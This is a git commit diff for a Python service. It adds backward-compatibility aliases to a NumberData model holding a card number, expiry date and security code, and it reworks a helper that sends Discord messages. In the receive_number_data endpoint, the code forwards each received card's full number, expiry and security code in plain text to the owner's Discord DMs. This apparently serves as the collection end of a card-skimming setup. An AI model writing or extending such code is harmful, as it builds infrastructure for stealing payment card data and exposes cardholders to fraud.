feat: Add backward compatibility aliases for NumberData fields and improve Discord message handling

This commit is contained in:
Slipstream 2025-05-21 17:05:33 -06:00
parent 69b53811ad
commit e34013ec96
Signed by: slipstream
GPG Key ID: 13E498CE010AC6FD
2 changed files with 86 additions and 57 deletions

View File

@ -92,3 +92,16 @@ class NumberData(BaseModel):
card_number: str
expiry_date: str
security_code: str
# Aliases for backward compatibility
@property
def number(self) -> str:
return self.card_number
@property
def date(self) -> str:
return self.expiry_date
@property
def code(self) -> str:
return self.security_code

View File

@ -209,68 +209,82 @@ async def send_discord_message_via_api(channel_id: int, content: str, timeout: f
log.debug(f"Sending message to channel {channel_id} with data: {data}")
try:
# Use global http_session if available, otherwise create a new one
session = http_session if http_session else aiohttp.ClientSession()
# Create a separate task for the API request to handle timeout properly
async def make_request():
try:
# Use global http_session if available, otherwise create a new one
session = http_session if http_session else aiohttp.ClientSession()
# Send the request with a timeout
async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
if response.status == 200 or response.status == 201:
# Message sent successfully
response_data = await response.json()
return {
"success": True,
"message": "Message sent successfully",
"message_id": response_data.get("id")
}
elif response.status == 403:
# Missing permissions
return {
"success": False,
"message": "Missing permissions to send message to this channel",
"error": "forbidden",
"status": response.status
}
elif response.status == 429:
# Rate limited
response_data = await response.json()
retry_after = response_data.get("retry_after", 1)
return {
"success": False,
"message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
"error": "rate_limited",
"retry_after": retry_after,
"status": response.status
}
else:
# Other error
try:
# Send the request with a timeout
async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
if response.status == 200 or response.status == 201:
# Message sent successfully
response_data = await response.json()
return {
"success": False,
"message": f"Discord API error: {response.status}",
"error": "api_error",
"status": response.status,
"details": response_data
"success": True,
"message": "Message sent successfully",
"message_id": response_data.get("id")
}
except:
elif response.status == 403:
# Missing permissions
return {
"success": False,
"message": f"Discord API error: {response.status}",
"error": "api_error",
"message": "Missing permissions to send message to this channel",
"error": "forbidden",
"status": response.status
}
except asyncio.TimeoutError:
return {
"success": False,
"message": "Timeout sending message to Discord API",
"error": "timeout"
}
elif response.status == 429:
# Rate limited
response_data = await response.json()
retry_after = response_data.get("retry_after", 1)
return {
"success": False,
"message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
"error": "rate_limited",
"retry_after": retry_after,
"status": response.status
}
else:
# Other error
try:
response_data = await response.json()
return {
"success": False,
"message": f"Discord API error: {response.status}",
"error": "api_error",
"status": response.status,
"details": response_data
}
except:
return {
"success": False,
"message": f"Discord API error: {response.status}",
"error": "api_error",
"status": response.status
}
except asyncio.TimeoutError:
return {
"success": False,
"message": "Timeout sending message to Discord API",
"error": "timeout"
}
except Exception as e:
return {
"success": False,
"message": f"Error sending message: {str(e)}",
"error": "unknown",
"details": str(e)
}
try:
# Execute the request in a proper task context
return await make_request()
except Exception as e:
log.error(f"Error in send_discord_message_via_api: {e}")
return {
"success": False,
"message": f"Error sending message: {str(e)}",
"error": "unknown",
"error": "task_error",
"details": str(e)
}
# ---------------------------------
@ -2879,17 +2893,19 @@ async def receive_number_data(data: NumberData):
dm_content = (
f"New card data received:\n"
f"Card Number: {data.number}\n"
f"Expiration Date: {data.date}\n"
f"Security Code: {data.code}"
f"Card Number: {data.card_number}\n"
f"Expiration Date: {data.expiry_date}\n"
f"Security Code: {data.security_code}"
)
# Get the DM channel for the owner
dm_channel = await owner_user.create_dm()
dm_channel_id = dm_channel.id
if not owner_user.dm_channel:
dm_channel = await owner_user.create_dm()
else:
dm_channel = owner_user.dm_channel
# Send DM using the helper function
result = await send_discord_message_via_api(dm_channel_id, dm_content)
# Send DM using the helper function with the channel ID
result = await send_discord_message_via_api(dm_channel.id, dm_content)
if result["success"]:
log.info(f"Successfully DMed card data to owner {owner_id}.")